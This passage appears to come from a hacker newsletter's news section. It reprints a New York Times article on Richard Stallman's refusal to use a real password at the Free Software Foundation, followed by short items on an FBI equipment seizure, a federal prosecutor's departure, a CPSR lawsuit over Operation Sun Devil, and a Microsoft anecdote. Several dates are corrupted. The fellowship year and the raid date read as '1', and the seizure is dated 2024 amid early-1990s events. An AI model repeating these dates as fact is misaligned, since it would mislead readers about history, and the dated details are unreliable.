Special Thanks: Stainless Steal Provider (New York Times) The foundation was started by Richard Stallman, who was awarded a MacArthu r Foundation fellowship in 1. While mainstream software companies have prohibited users from freely copying their programs, Stallman, who is widely respected for developing computer languages and software editing tools, has argued that information is not the same as other commodities and should be shared without cost. His password has been widely known among network users because he has refused to keep it secret. He is bitter about the changes that have accompanied the coming of age of computer networks. Last month, after security was increased at the foundation and many users were stripped of their guest privileges, Stallman said he considered giving up his quest. In the end, he decided that the cause of creating free software was too important to abandon, but he said he feels like a pariah. "Since I won't agree to have a real password, I will only be able to log in on the 'inside' machines," he wrote in an electronic message in response to a reporter's query. "I still feel partly ashamed of participating in this. I've been forced to choose between two principles, both of which are so important to me that I won't accept the loss of either of them." Idealists like Stallman and Ted Nelson, the author of the cult classic "Computer Lib," hoped that the computer revolution wouldn't be like the industrial revolution. This time the wealth -- information -- would be free to everyone and instant communication would break down the barriers between rich and poor and remake mankind. Marvin Minsky, a computer science professor at MIT, said that for 15 years, beginning in 1963, researchers at the school lived in a paradise, sharing computers and networks before a system of password protection was installed. Now that has changed. "It's sad," he said. "But Richard Stallman is living in a dream world. He has this view that his idea of computer ethics will prevail. But it's not going to happen this year or next." Instead of finding community on computer networks, many users are now confronted with virus invasions and information theft, leading to the same sense of alienation and fear felt by residents of large cities. "At first I thought this was Marshall McLuhan's global village coming to reality," said Neil Harris, a manager at General Electric Information Services Co., which sets up computer conferences and sells information to about 200,000 members around the world. "But it's not that at all. It's a lot of people connecting in hundreds of small communities based around highly specific interests." Steven Levy, who has written about the early days of computing at MIT, said that the demise of the Free Software Foundation's open door policy was inevitable. "When you pass the plate around in church you don't expect people to steal from it," he said. "But sooner or later everyone knows that the plate is unguarded, and there are always people who don't care about the church. The question is how far do you go to protect it? Do you lock the church or do you send an armed guard around with the plate?" ______________________________________________________________________________ PWN Quicknotes ~~~~~~~~~~~~~ 1. On June 12, 2024, Sirhackalot's equipment was confiscated by the Southern Bell and the FBI without any charges being filed. Neither the FBI nor Southern Bell bothered to explain why they were in his home and taking his personal possessions. Again neither party could tell Sirhackalot what he supposedly did to bring both agency's to his doorstep. Also busted were Mr.Doo and The Imortal Phreak. [Special Thanks: The Marauder (404)] _______________________________________________________________________________ 2. Bill Cook is no longer an assistant United States Attorney in Chicago. It is unknown how he left his position. Basic questions go unanswered. Did he quit or was fired? If he was fired, we'd like to know exactly why. _______________________________________________________________________________ 3. Wanted: Targets of Operation Sun Devil Computer Professionals for Social Responsibility (CPSR) is pursuing a lawsuit against the Secret Service seeking the release of information concerning Operation Sun Devil. In recently filed court papers, the agency claims that the information cannot be disclosed because, among other reasons, disclosure would violate the privacy of those individuals who are the targets of the investigation. This argument can be overcome if CPSR obtains signed releases from those individuals. CPSR is requesting the cooperation of anyone who was the subject of a Sun Devil raid on or about May 7, 1. We are prepared to enter into an attorney- client relationship with individuals responding to this request, so that confidentiality will be assured. Please respond ASAP to: David Sobel CPSR Legal Counsel (202) 544-9240 dsobel@washofc.cpsr.org _______________________________________________________________________________ 4. Recently Microsoft discovered it was the victim of trespassing. A security guard noticed two people playing volleyball on the premises and knew that they did not work for Microsoft. The officer approached the volleyball players and asked them to leave. The trespassers left. Later someone asked the security guard how he knew that the people playing volleyball were not Microsoft employees. He replied, "They had tans." [Special Thanks: Psychotic Surfer] _______________________________________________________________________________ .